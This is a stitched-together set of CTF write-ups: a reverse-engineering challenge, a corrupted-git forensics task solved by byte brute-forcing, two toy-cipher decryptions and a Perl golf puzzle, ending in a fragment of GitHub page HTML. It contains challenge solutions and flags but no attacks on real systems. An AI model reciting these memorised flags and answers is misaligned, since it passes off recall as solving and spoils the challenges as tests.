jak go dalej przyśpieszyć. Na pewno rzuca się w oczy bezsensowna pętla for w mainie - do czego ona służy? Mając trochę doświadczenia, rozpoznajemy ją jako sprawdzanie czy liczba v4 jest pierwsza.Inwestujemy więc w pomocniczą funkcję sprawdzaącą to samo, ale znacznie szybciej (da się oczywiście lepiej, ale było i tak wystarczająco dobrze): ```c++bool isprime(int number){ if(number == 2) return true; if(number % 2 == 0) return false; for(int i=3; (i*i)<=number; i+=2){ if(number % i == 0 ) return false; } return true;}``` Kolejnym krokiem było zauważenie, warunek może być spełniony dopiero kiedy v2 > 49000000 - a, jak widać od razu po spojrzeniu na kod - v2 to ilość napotkanych na razie liczb pierwszych.Zamiast liczyć od zera do 49000000wej liczby pierwszej, możemy od razu podstawić pod v2 wartość 49000000, a pod v4 wartość 961748862 (v2-ta liczba pierwsza - 2, bo taka dokładnie relacja wiązała v2 i v4). Ostateczna wersja funkcji main (całe źródło [znajduje się tu](hack.cpp)) ```c++int main() { int v2 = 49000000; // ndx liczby pierwszej int v4 = 961748862; // (v2-2)ta liczba pierwsza + 1 while(true) { int i; if (isprime(v4)) { v2++; if(getint() <= v2 && test(v4)) { printf("DCTF{%d}\n", v4); break; } } v4++; }}``` W tym momencie możemy uruchomić nasz program bezpośrednio i poczekać kilka sekund aż wypluje flagę: DCTF{961749023} ### ENG version We get a [binary](./re200) (elf) to work with and we start with analysis of its behaviour. An interesting fact is that this binary does not read any files or input from use, nor does it take any command line parameters - it just executes. The core of the program is: ```c++bool test(int a1) { int v3 = a1; int v4 = 0; while (v3) { v1 = clock(); sleep(5); v4 += v3 % 10; if (clock() - v1 <= 19) { v3 *= 137; } v3 /= 10; } return v4 == 41;} int getint() { v0 = clock(); sleep(5); if (clock() - v0 > 19) result = 49000000; else result = 33000000; return result;} int main() { int v2 = 2; int v4 = 2; while(true) { int i; for ( i = 2; v4 - 1 >= i && v4 % i; ++i ); if (i == v4) { v0 = clock(); ++v2; sleep(3); if ( clock() - v0 <= 19 ) exit(0); if(getint() <= v2 && test(v4)) { printf("Well done\n", v4); break; } } v4++; }}``` There is a lot of useless code and sleeps. But most importantly: what does this code do? It tests numbers (in v4) starting from 2 to infinity until it finds a number it `likes` (passes two checks). Then prints `well done`. We assumed that the `v4` is a flag (a good assumption as it turned out). First step was to remove all sleeps (however since some parts of the code depend on the execution time, we assume that the correct execution path is the one that code uses when it runs longer) to speed up the code so that we can actually get `v4` in reasonable time. ```c++bool test(int a1) { int v3 = a1; int v4 = 0; while (v3) { v1 = clock(); v4 += v3 % 10; v3 /= 10; } return v4 == 41;} int getint() { return 49000000;} int main() { int v2 = 2; int v4 = 2; while(true) { int i; for ( i = 2; v4 - 1 >= i && v4 % i; ++i ); if (i == v4) { ++v2; exit(0); if (getint() <= v2 && test(v4)) { printf("DCTF{%d}\n", v4); break; } } v4++; }}``` Then we look at the code execution. After all sleeps are removed the code is still doing what it was, but now faster. We try to improve it even further. We notice a long loop in main - what does it do? With a little experience we recognize it as primarity check for v4. We make a function with the same goal, but much faster (of course we could do it even better, but this was sufficient): ```c++bool isprime(int number){ if(number == 2) return true; if(number % 2 == 0) return false; for(int i=3; (i*i)<=number; i+=2){ if(number % i == 0 ) return false; } return true;}``` Next step was to notice that the condition can be fulfilled only when v2 > 49000000 and as we see in the code the v2 counts prime numbers seen so far.Instead of counting from 0 to 49000000th prime number we can simply put 49000000 as value for v2 and 961748862 for v4 (this is the v2th prime number -2, since this was to relation between v2 and v4). Final version of the main function (whole source [is here](hack.cpp)) ```c++int main() { int v2 = 49000000; // prime number index int v4 = 961748862; // (v2-2)th prime number + 1 while(true) { int i; if (isprime(v4)) { v2++; if(getint() <= v2 && test(v4)) { printf("DCTF{%d}\n", v4); break; } } v4++; }}``` Now we can run the code and wait few seconds to get the flag: DCTF{961749023}
# sharpturnCSAW 2015 CTF Prelim: Forensics 400 The description for this challenge was something along the lines of:> I think my SATA controller is dying. Later on a hint was added:> HINT: git fsck -v ## Writeup The contents of the provided xz archive are things that you would find in a .git directory, so why not make a new directory and plop the files into its .git subdirectory? First let's see what we can find by running the command in the hint. The verbose output doesn't add much value; `git fsck` will do: ```Checking object directories: 100% (256/256), done.error: sha1 mismatch 354ebf392533dce06174f9c8c093036c138935f3error: 354ebf392533dce06174f9c8c093036c138935f3: object corrupt or missingerror: sha1 mismatch d961f81a588fcfd5e57bbea7e17ddae8a5e61333error: d961f81a588fcfd5e57bbea7e17ddae8a5e61333: object corrupt or missingerror: sha1 mismatch f8d0839dd728cb9a723e32058dcc386070d5e3b5error: f8d0839dd728cb9a723e32058dcc386070d5e3b5: object corrupt or missingmissing blob 354ebf392533dce06174f9c8c093036c138935f3missing blob f8d0839dd728cb9a723e32058dcc386070d5e3b5missing blob d961f81a588fcfd5e57bbea7e17ddae8a5e61333``` Well, let's hope they aren't too corrupt. Blobs contain versions of repo files that have been prepended with a header and zlib compressed. Now run `git log --raw` to list the objects in the context of the commits: ```commit 4a2f335e042db12cc32a684827c5c8f7c97fe60bAuthor: sharpturn <[email protected]>Date: Sat Sep 5 18:11:05 2015 -0700 All done now! Should calculate the flag..assuming everything went okay. :000000 100644 0000000... e5e5f63... A Makefile:100644 100644 d961f81... f8d0839... M sharp.cpp commit d57aaf773b1a8c8e79b6e515d3f92fc5cb332860Author: sharpturn <[email protected]>Date: Sat Sep 5 18:09:31 2015 -0700 There's only two factors. Don't let your calculator lie. :100644 100644 354ebf3... d961f81... M sharp.cpp commit 2e5d553f41522fc9036bacce1398c87c2483c2d5Author: sharpturn <[email protected]>Date: Sat Sep 5 18:08:51 2015 -0700 It's getting better! :100644 100644 efda2f5... 354ebf3... M sharp.cpp commit 7c9ba8a38ffe5ce6912c69e7171befc64da12d4cAuthor: sharpturn <[email protected]>Date: Sat Sep 5 18:08:05 2015 -0700 Initial commit! This one should be fun. :000000 100644 0000000... efda2f5... A sharp.cpp``` So for `sharp.cpp` the object hashes from oldest to newest are: 1. efda2fs 2. 354ebf3 3. d961f81 4. f8d0839 The first object `efda2f5` isn't corrupted and neither is the single one of the Makefile. I wonder if we can just restore the repo to the latest commit? > git cat-file -p f8d0839 > sharp.cpp ```c++#include <iostream>#include <string>#include <algorithm> #include <stdint.h>#include <stdio.h>#include <openssl/sha.h> using namespace std; std::string calculate_flag( std::string &part1, int64_t part2, std::string &part4, uint64_t factor1, uint64_t factor2){ std::transform(part1.begin(), part1.end(), part1.begin(), ::tolower); std::transform(part4.begin(), part4.end(), part4.begin(), ::tolower); SHA_CTX ctx; SHA1_Init(&ctx;; unsigned int mod = factor1 % factor2; for (unsigned int i = 0; i < mod; i+=2) { SHA1_Update(&ctx, reinterpret_cast<const unsigned char *>(part1.c_str()), part1.size()); } while (part2-- > 0) { SHA1_Update(&ctx, reinterpret_cast<const unsigned char *>(part4.c_str()), part1.size()); } unsigned char *hash = new unsigned char[SHA_DIGEST_LENGTH]; SHA1_Final(hash, &ctx;; std::string rv; for (unsigned int i = 0; i < SHA_DIGEST_LENGTH; i++) { char *buf; asprintf(&buf, "%02x", hash[i]); rv += buf; free(buf); } return rv;} int main(int argc, char **argv){ (void)argc; (void)argv; //unused std::string part1; cout << "Part1: Enter flag:" << endl; cin >> part1; int64_t part2; cout << "Part2: Input 51337:" << endl; cin >> part2; std::string part3; cout << "Part3: Watch this: https://www.youtube.com/watch?v=PBwAxmrE194" << endl; cin >> part3; std::string part4; cout << "Part4: C.R.E.A.M. Get da _____: " << endl; cin >> part4; uint64_t first, second; cout << "Part5: Input the two prime factors of the number 270031727027." << endl; cin >> first; cin >> second; uint64_t factor1, factor2; if (first < second) { factor1 = first; factor2 = second; } else { factor1 = second; factor2 = first; } std::string flag = calculate_flag(part1, part2, part4, factor1, factor2); cout << "flag{"; cout << &lag; cout << "}" << endl; return 0;}``` > git cat-file -p e5e5f63 > Makefile ``` CXXFLAGS:=-O2 -g -Wall -Wextra -Wshadow -std=c++11LDFLAGS:=-lcrypto ALL: $(CXX) $(CXXFLAGS) $(LDFLAGS) -o sharp sharp.cpp``` Looks like a complete program to me. A few aspects of the program are iffy though. `&lag` produces a syntax error and the large number actually has four prime factors instead of just two. Perhaps this is the corruption that we have to fix? I was lucky enough to stumble on this [writeup](http://web.mit.edu/jhawk/mnt/spo/git/git-doc/howto/recover-corrupted-object-harder.html) on a related topic. Although in that case the object was in a packfile instead of a blob, the core concept is still relevant. The approach was basically to assume a single byte was corrupted, and to brute force the value of every byte in the file one at a time. We can verify if we got it right by hashing. I wrote a shell script to do this. The following script should be saved and executed in the same directory as `sharp.cpp` and `.git`. It counts down how many bytes are left to parse and when it finds a match it describes the byte substitution you need to perform in the file `fix`, prints it, and exits. Make sure you are running `git cat-file -p $hash` immediately before running this script, and that you carry over any previous substitutions. ```bash#!/bin/bashFILE='sharp.cpp'FILE_BYTE_SIZE=$(wc -c < $FILE)TARGET_HASH='354ebf392533dce06174f9c8c093036c138935f3\nf8d0839dd728cb9a723e32058dcc386070d5e3b5\nd961f81a588fcfd5e57bbea7e17ddae8a5e61333\n'for B in $( seq 0 $(( $FILE_BYTE_SIZE - 1 )) ); do echo $(( $FILE_BYTE_SIZE - $B )) for X in $(printf %x'\n' $(seq 255)); do OLD_BYTE=$(dd if=$FILE bs=1 count=1 skip=$B iflag=skip_bytes 2>/dev/null) printf "\\x$X" | dd of=$FILE bs=1 count=1 seek=$B oflag=seek_bytes conv=notrunc 2>/dev/null TRY_HASH=$(git hash-object $FILE) if [[ $TARGET_HASH == *"$TRY_HASH"* ]]; then FIX="Change 0x$OLD_BYTE to 0x$X at byte $B for $TRY_HASH" echo $FIX >> fix; echo $FIX; exit 0 fi echo $OLD_BYTE | dd of=$FILE bs=1 count=1 seek=$B oflag=seek_bytes conv=notrunc 2>/dev/null donedoneexit 1``` To get `354ebf3` to hash correctly, we have to change `51337` to `31337`. For `d961f81`, change `270031727027` to `272031727027` which does indeed have only two prime factors. For `f8d0839`, we can guess the problem is `&lag`. Change it to `flag` and we've fixed all the corruption. Compile and run the program. Inputs in order are: > flag > 31337 > * > money > 31357 > 8675311 Your input for the third field doesn't matter; just enter whatever and press enter to advance the program. The output:> flag{3b532e0a187006879d262141e16fa5f05f2e6752}
### XOR Crypter - Crypto 200pts ## Problem Description: The state of art on encryption, can you defeat it?CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= ## Solution We get Python script used for encrypt the flag. Output of this script is Base64 string contains encrypted flag (CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=) ```pythonimport structimport sysimport base64 if len(sys.argv) != 2: print "Usage: %s data" % sys.argv[0] exit(0) data = sys.argv[1]padding = 4 - len(data) % 4if padding != 0: data = data + "\x00" * padding result = []blocks = struct.unpack("I" * (len(data) / 4), data)for block in blocks: result += [block ^ block >> 16] output = ''for block in result: output += struct.pack("I", block) print base64.b64encode(output)``` To resolve this, we have to create "decrypter". Here's my sample solution for this, maybe not state-of-the-art, but I was able to get the flag :) ```python#!/usr/bin/env python import structimport sysimport base64 data = base64.b64decode(sys.argv[1])padding = 4 - len(data) % 4 if padding != 0: data = data + "\x00" * padding print data i = 0padding = 4output = ''result = ''while i < len(data): junk = data[i:i + padding] print i, padding output = struct.unpack("I", junk) for s in output: r = s ^ s >> 16 result += struct.pack("I", r) i += 4 print result ``` And here's output with flag: ```$ ./test.py CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= 0O{♠♠sh↔☼ti1‼_t7►_u♠→hi▬ab◄e}0 44 48 412 416 420 424 428 432 4EKO{unshifting_the_unshiftable}```
## Challenge We get only 45 characters to convert the letters in a string into alternating upper and lower case: ```"Hello World! Hallo Welt!"```becomes```"HeLlO wOrLd! HaLlO wElT!"``` ## Solution A legit 44 character solution which works for all given input: ```perl$_=lc"@ARGV";s/[a-z]/$u^=" ";$&^$u/ige;print```Explanation:`$_=lc"@ARGV"` is just `$_ = lowercase("#{@ARGV}")` `print` without argument defaults to `print($_)` `s/[a-z]/$u^=" ";$&^$u/ige` is $_.gsub!(/[a-z]/) `$u^=" ";` means switch $u betwen ascii character 0 and ascii character 32 (space) every iteration `$&^$u` xors with 32, which just so happens to be difference between ascii uppercase and lowercase chars **flag{chosingaflagisthemostdifficultpart}** ## Notes The challenge creator had some interesting comments for us [here](https://github.com/teamavidya/ctf/commit/52f5789e743af94c147d4e5e0fd3796bc162872b#commitcomment-13953040) Bogbert commented that he had found a 34 character solution!! ```perlprint pop=~s/\pL/lc$&^($u^=$")/ger``` ## Solved bytaw
## Crypto 400 (crypto, 400p) ### PL [ENG](#eng-version) Dostajemy cztery ciphertexty, oraz trzy odpowiadające im plaintexty. W czwartym ciphertexcie znajduje się flaga, i naszym zadaniem jest odzyskać ją: ```pythoninp0 = "People don't understand computers. Computers are magical boxes that do things. People believe what computers tell them."out0 = "a2ccb5e4a4f694bd8a87cec3679d69a87db401a4199006dbb0ccbfe6a7ecc3e4f7b2e426c53fed35f95fe3498d038bebdbadeabce9cdfecf87968776876be12088228041c951730a7a30702e197802372236c03dc443934bef55ee71e03f423f7e213715360c1e060aec10fa7ea57ad36f94069f066c50".decode("hex") inp1 = "There are two types of encryption: one that will prevent your sister from reading your diary and one that will prevent your government."out1 = "2e4d3e6d2433102f12514b45ae01ef33f32d9869da5b891177076b3b7f34172d237224ca28da588151f349b023a5335a6a0155014b69557c343e2fd3358a538f3c8330a36ffe8eec999ac69abf94a7acbbe01fe108dd4f96378529b96df397e6e6a2fadeb2919b979b38c131f93aa015b709990d9fecdebafdbbf79ead9d819163867db97bb854".decode("hex") inp2 = "There's an entire flight simulator hidden in every copy of Microsoft Excel 97."out2 = "fa99eab9f0e0d1bc8588c6da30cb38ef3aa101bc0989139ab2d2a5e1a0f3d8f9f6efb950b54680489e7dda6da923afcfadcfc99bc8ffd4a9aebbe521dc20f82291358510dc6e147a074846463554".decode("hex") out3 = "b4d0b1b0e5bd8ae7cdcbc4d139cf75b173ad4bfb0787008ff2cdf3bffda783f6fff2a44ba81fd61edf3c853daa65ea9ce99690d586e1dee2e1f7a949a916d50dbd19bc2eab3e50380e0d7a2c1d205a59455fbe0ffa2ea63b9074ce43d11e715d495401235f693e31289b2c8d198158f81ba471b32917644e".decode('hex') inp = [inp0, inp1, inp2]out = [out0, out1, out2, out3] ``` Nie wiemy w jaki sposób zostały zaszyfrowane te dane, musimy więc uciec sie do kryptoanalizy. Jako podpowiedź, w treści zadania otrzymaliśmy informację że szyfr nie używa żadnego klucza. Pierwszą rzeczą jaką zauważamy, jest bardzo specyficzny rozkład najwyższego bitu wiadomości: ```pythonfor i in range(len(out)): o = out[i] print ''.join('1' if ord(oc)&0x80 != 0 else '0' for oc in o)``` Co daje nam w wyniku: 11111111111101010101010111111111111010101010101111111111111010101010100000000000001010101010100000000000010101010101000 000000000000101010101010000000000001010101010100000000000001010101010111111111111101010101010111111111111010101010101111111111110101010 111111111111010101010101111111111110101010101011111111111110101010101000000000 111111111111010101010101111111111110101010101011111111111110101010101000000000000010101010101000000000000101010101010000 To bardzo ciekawa informacja - najwyższe bity w każdej wiadomośći są dokładnie takie same (poza drugą wiadomością w której są flipowane). Kolejna ciekawa rzecz którą odkryliśmy - jeśli będziemy xorować pierwszy bajt CT (ciphertextu) z drugim, drugi z trzecim, etc, to dla drugiego i trzeciego wejścia wynik będzie sie zaczynał tak samo:` ```pythonfor o in out: for i in range(20): print ord(o[i]) ^ ord(o[i+1]), print``` Wynik: 110 121 81 64 82 98 41 55 13 73 13 164 250 244 193 213 201 181 165 189 99 115 83 73 23 35 63 61 67 26 14 235 175 238 220 192 222 181 241 179 99 115 83 73 16 49 109 57 13 78 28 234 251 243 215 213 155 160 189 181 100 97 1 85 88 55 109 42 6 15 21 232 246 186 196 194 222 230 176 252 Dlaczego tak się dzieje? Drugi i trzeci plaintext zaczyna się tak samo (pierwsze pięć bajtów jest identyczne). Ale szósty bajt plaintextu się już różni, tak samo ct[4] ^ ct[5] jest różne dla 2 i 3 ciphertextu. W tym momencie dokonaliśmy ciekawego spostrzeżenia (albo zgadywania, jak kto woli).Nazwijmy efekty xorowania kolejnych znaków CT jako xorct (xorct[x] = ct[x] ^ ct[x+1]) ```pythonplain2[5] = " " = 0x20plain3[5] = "'" = 0x27 xorct2[5] = 0x17xorct3[5] = 0x10 plain2[5] ^ plain3[5] = 7xorct2[5] ^ xorct3[5] = 7``` Okazuje się że to nie przypadek - ta własność zachodzi dla każdego indeksu.Mając tak silną zależność między plaintextem i ciphertextem, napisanie dekryptora dla ostatniego ciphertextu jest trywialne. Podsumowanie pomysłu stojącego za dekryptorem (kod niżej) - bierzemy plaintext1 i odpowiadający mu ciphertext1 (musiemy mieć przykładowe zdekryptowane dane).I teraz żeby zdekryptować ciphertext2 (wynik nazwiemy plaintext2), zauważamy że dla każdego indekxu `i` zachodzi plain1[i] ^ plain2[i] == xorct1[i] ^ xorct2[i] (Przypominam, xorct[i] to oznaczenie na ct[i] ^ ct[i+1])Więc: plain2[i] == xorct1[i] ^ xorct2[i] ^ plain1[i] Nasz oryginalny kod (będący trochę brzydki bo "bruteforcuje" bajty, ale napisany na szybko, ale co dziwne - zadziałał od razu): ```pythonfor i in range(len(out0)): for c in range(256): if (ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) == ord(inp1[i+1]) ^ c: print chr(c),``` Ładniejsza wersja (napisana podczas pisania tego writeupa, dla porządku): ```pythonprint ''.join(chr((ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) ^ ord(inp1[i+1])) for i in range(len(out0)))``` Wynik: ow you really are a guru, even if no key was used to make it impossible. Your flag is: c7ddf0e946cc0a5ba09807ce3d33f9a7 ### ENG version We get four ciphertexts and three corresponding plaintexts. The fourth ciphertext contains the flag and we are supposed to decode it: ```pythoninp0 = "People don't understand computers. Computers are magical boxes that do things. People believe what computers tell them."out0 = "a2ccb5e4a4f694bd8a87cec3679d69a87db401a4199006dbb0ccbfe6a7ecc3e4f7b2e426c53fed35f95fe3498d038bebdbadeabce9cdfecf87968776876be12088228041c951730a7a30702e197802372236c03dc443934bef55ee71e03f423f7e213715360c1e060aec10fa7ea57ad36f94069f066c50".decode("hex") inp1 = "There are two types of encryption: one that will prevent your sister from reading your diary and one that will prevent your government."out1 = "2e4d3e6d2433102f12514b45ae01ef33f32d9869da5b891177076b3b7f34172d237224ca28da588151f349b023a5335a6a0155014b69557c343e2fd3358a538f3c8330a36ffe8eec999ac69abf94a7acbbe01fe108dd4f96378529b96df397e6e6a2fadeb2919b979b38c131f93aa015b709990d9fecdebafdbbf79ead9d819163867db97bb854".decode("hex") inp2 = "There's an entire flight simulator hidden in every copy of Microsoft Excel 97."out2 = "fa99eab9f0e0d1bc8588c6da30cb38ef3aa101bc0989139ab2d2a5e1a0f3d8f9f6efb950b54680489e7dda6da923afcfadcfc99bc8ffd4a9aebbe521dc20f82291358510dc6e147a074846463554".decode("hex") out3 = "b4d0b1b0e5bd8ae7cdcbc4d139cf75b173ad4bfb0787008ff2cdf3bffda783f6fff2a44ba81fd61edf3c853daa65ea9ce99690d586e1dee2e1f7a949a916d50dbd19bc2eab3e50380e0d7a2c1d205a59455fbe0ffa2ea63b9074ce43d11e715d495401235f693e31289b2c8d198158f81ba471b32917644e".decode('hex') inp = [inp0, inp1, inp2]out = [out0, out1, out2, out3] ``` We don't know how the data were encoded so we need to perform some cryptoanalysis. As a hint in the task there is information that the cipher does not use any key. First thing we notice is that there is a very particular distribution of values in the highest bit of the ciphertexts: ```pythonfor i in range(len(out)): o = out[i] print ''.join('1' if ord(oc)&0x80 != 0 else '0' for oc in o)``` We get: 11111111111101010101010111111111111010101010101111111111111010101010100000000000001010101010100000000000010101010101000 000000000000101010101010000000000001010101010100000000000001010101010111111111111101010101010111111111111010101010101111111111110101010 111111111111010101010101111111111110101010101011111111111110101010101000000000 111111111111010101010101111111111110101010101011111111111110101010101000000000000010101010101000000000000101010101010000 This is interesting - the highest bits in every message are identical (or flipped in the second message). Next interesting find is that if we xor first byte of ciphertext (CT) with second, second with third etc. then for second and third inputs we will get identical results: ```pythonfor o in out: for i in range(20): print ord(o[i]) ^ ord(o[i+1]), print``` Result: 110 121 81 64 82 98 41 55 13 73 13 164 250 244 193 213 201 181 165 189 99 115 83 73 23 35 63 61 67 26 14 235 175 238 220 192 222 181 241 179 99 115 83 73 16 49 109 57 13 78 28 234 251 243 215 213 155 160 189 181 100 97 1 85 88 55 109 42 6 15 21 232 246 186 196 194 222 230 176 252 Why is that? Second and third plaintexts start exactly the same way (first 5 bytes are identical). But sixth byte of plaintext is different and therefore ct[4] ^ ct[5] is different for second and third ciphertext. At this point we noticed (or guessed) a very interesting rule.Let's define effects of xoring consecutive characters from CT as xorct -> xorct[x] = ct[x] ^ ct[x+1] ```pythonplain2[5] = " " = 0x20plain3[5] = "'" = 0x27 xorct2[5] = 0x17xorct3[5] = 0x10 plain2[5] ^ plain3[5] = 7xorct2[5] ^ xorct3[5] = 7``` It turns out this is not accidental - this property works for every index. With such a strong correlation between plaitnext and ciphertext it becomes trivial to make a decryption algorithm for the last ciphertext. Summary of the decryption algorithm (code is below) - we take plaintext1 and corresponding ciphertext1 (we need example of decoded data).Now to decrypt ciphertext2 (we mark the result as plaintextx2), we notice that for every intex `i` there is: plain1[i] ^ plain2[i] == xorct1[i] ^ xorct2[i] (As a reminder: xorct[i] means ct[i] ^ ct[i+1])So: plain2[i] == xorct1[i] ^ xorct2[i] ^ plain1[i] Our original code (quite messy since it brute-forces bytes, but we were trying to write it fast, interestingly it worked right away): ```pythonfor i in range(len(out0)): for c in range(256): if (ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) == ord(inp1[i+1]) ^ c: print chr(c),``` Pretty version (wrote when preparing this writeup): ```pythonprint ''.join(chr((ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) ^ ord(inp1[i+1])) for i in range(len(out0)))``` Result: ow you really are a guru, even if no key was used to make it impossible. Your flag is: c7ddf0e946cc0a5ba09807ce3d33f9a7
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 